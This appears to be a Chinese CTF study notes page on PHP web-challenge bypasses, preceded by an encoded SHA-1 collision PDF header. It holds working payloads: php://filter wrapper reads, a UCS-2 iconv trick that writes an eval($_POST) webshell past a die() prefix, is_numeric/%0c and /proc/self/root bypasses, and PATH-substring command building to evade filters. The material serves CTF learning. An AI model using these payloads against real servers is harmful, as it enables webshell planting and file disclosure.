array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

PHP双$($$)的变量覆盖

在双写$的时,属于动态变量,就是后面的变量值作为新的变量名

1
2
3
4
5
6
$test="jinmuu";		//$test等于jinmuu
$$test="uu"; //$$test=$jinmuu 这里等于给$jinmuu赋值为uu

echo $test; //jinmuu
echo $$test; //uu
echo $jinmuu; //uu

parse_str函数的使用

parse_str会把字符串解析为变量,

可以同时赋多个值

1
2
3
4
$a="q=jin&w=mu";
parse_str($a);
echo $q;//jin
echo $w;//mu

第二个参数会作为数组,

1
2
3
4
$a="q=jin&w=mu";
parse_str($a,$b);
echo $b['q'];//jin
echo $b['w'];//mu

php8版本必须要有第二个参数,php7不影响使用但会警告一下

ereg %00正则截断

ereg PHP5.3废弃了,功能可以由preg_match代替,ereg有个截断漏洞,字符串里包括%00就只匹配%00之前的内容。所以可以前面根据正则改,后面是执行语句,如果有strrev() 这种字符串反转函数配合用更好。

15、迭代器获取当前目录

FilesystemIterator可以获得文件目录,参数需要 . 或者具体路径,getcwd()这个函数可以获取当前文件路径,二者在一定条件下配合使用较好

16、$GLOBALS全局变量的使用

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

构造出var_dump($GLOBALS);可以输出全部变量值,包括自定义

php伪协议绕过is_file highlight_file对于php伪协议的使用

is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型。is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。

1
2
3
4
5
if(! is_file($file)){
highlight_file($file);
}else{
echo "hacker!";
}

如上的代码,可以传入php伪协议进行绕过并且显示含有flag的文件。若有过滤,可以换其他伪协议或改编码方式

另外即使是反序列化也可以用伪协议读文件

多写根目录绕过is_file

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚。如上面的代码,也可以用下面payload代替

1
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

但is_file认为这个不是文件

trim函数的绕过+is_numeric绕过

trim
1
2
3
4
5
6
7
8
9
10
11
12
13
语法
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

去除字符串首尾处的空白字符(或者其他字符)

1
string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] )

is_numeric绕过除数字以外下面这些也可以通过is_numeric函数

1
2
3
4
5
6
7
8
9
%09
%0A
%0B
%0C
%0D
+
%2B
-
.

可以用这个测试一下

1
2
3
4
5
6
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if( is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}

除了±.号以外还有只剩下%0c也就是换页符了,trim默认时没有剔除%0c。形如以下代码可以绕过

1
2
3
4
5
6
7
if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}

payload:num=%0c36

绕过死亡die

1
2
3
4
5
6
7
8
9
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这道看了羽师傅wp,过滤了许多协议,这是取一个 UCS-2LE UCS-2BE

1
2
3
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

image-20221116171941993

可以用这个来测试

1
2
3
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[12]) ;?>?<hp pvela$(P_SO[T]1;)>?');
//我们可以通过增减空格来让他保持位偶数。

通过内置bash命令构造命令

在许多命令被过滤时,可以一个字母一个字母得构造,而这些字母从内置变量里面截,比如构造nl,可以写为下面这种方式

1
${PATH:14:1}${PATH:5:1}

在linux中可以用~获取变量的最后几位,也可以写为${PATH:~0}${PWD:~0},字母与0作用一样,${PATH:~A}${PWD:~A}也是nl,flag.php也过滤了的话可以用???.???,具体情况,具体对待

但是内置变量如何知道捏?烤鸡吗?

PHP变量名非法字符

比如传入AA_BB.CC这个变量,PHP是不允许变量名中含有. 的,会默认将不合法字符替换为_,如下:

1
2
3
4
5
<?php 
var_dump($_POST);
?>
传值:AA.BB.CC=14
输出:array(1) { ["AA_BB_CC"]=> string(2) "14" }

但输入AA[BB.CC它就只替换 [ 输出 array(1) { [“AA_BB.CC”]=> string(2) “14” }

但是当参数前面已经有一个[被转换为_后面的.就不会被转义了。

1
就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`

gettext拓展的使用

在开启该拓展后 _() 等效于 gettext()

1
2
3
4
5
6
7
8
9
10
11
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

启该拓展后 _() 等效于 gettext()

1
2
3
4
5
6
<?php
echo gettext("phpinfo");
结果 phpinfo

echo _("phpinfo");
结果 phpinfo

所以 call_user_func(‘_’,‘phpinfo’) 返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:f1=_&f2=get_defined_vars

调用类中的函数

->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法

也就是说双冒号不用实例化类就可以调用类中的静态方法

1
2
3
4
5
6
7
8
9
10
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

这个传入ctfshow=ctfshow::getFlag即可

return绕过

eval("return 1;phpinfo();");会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。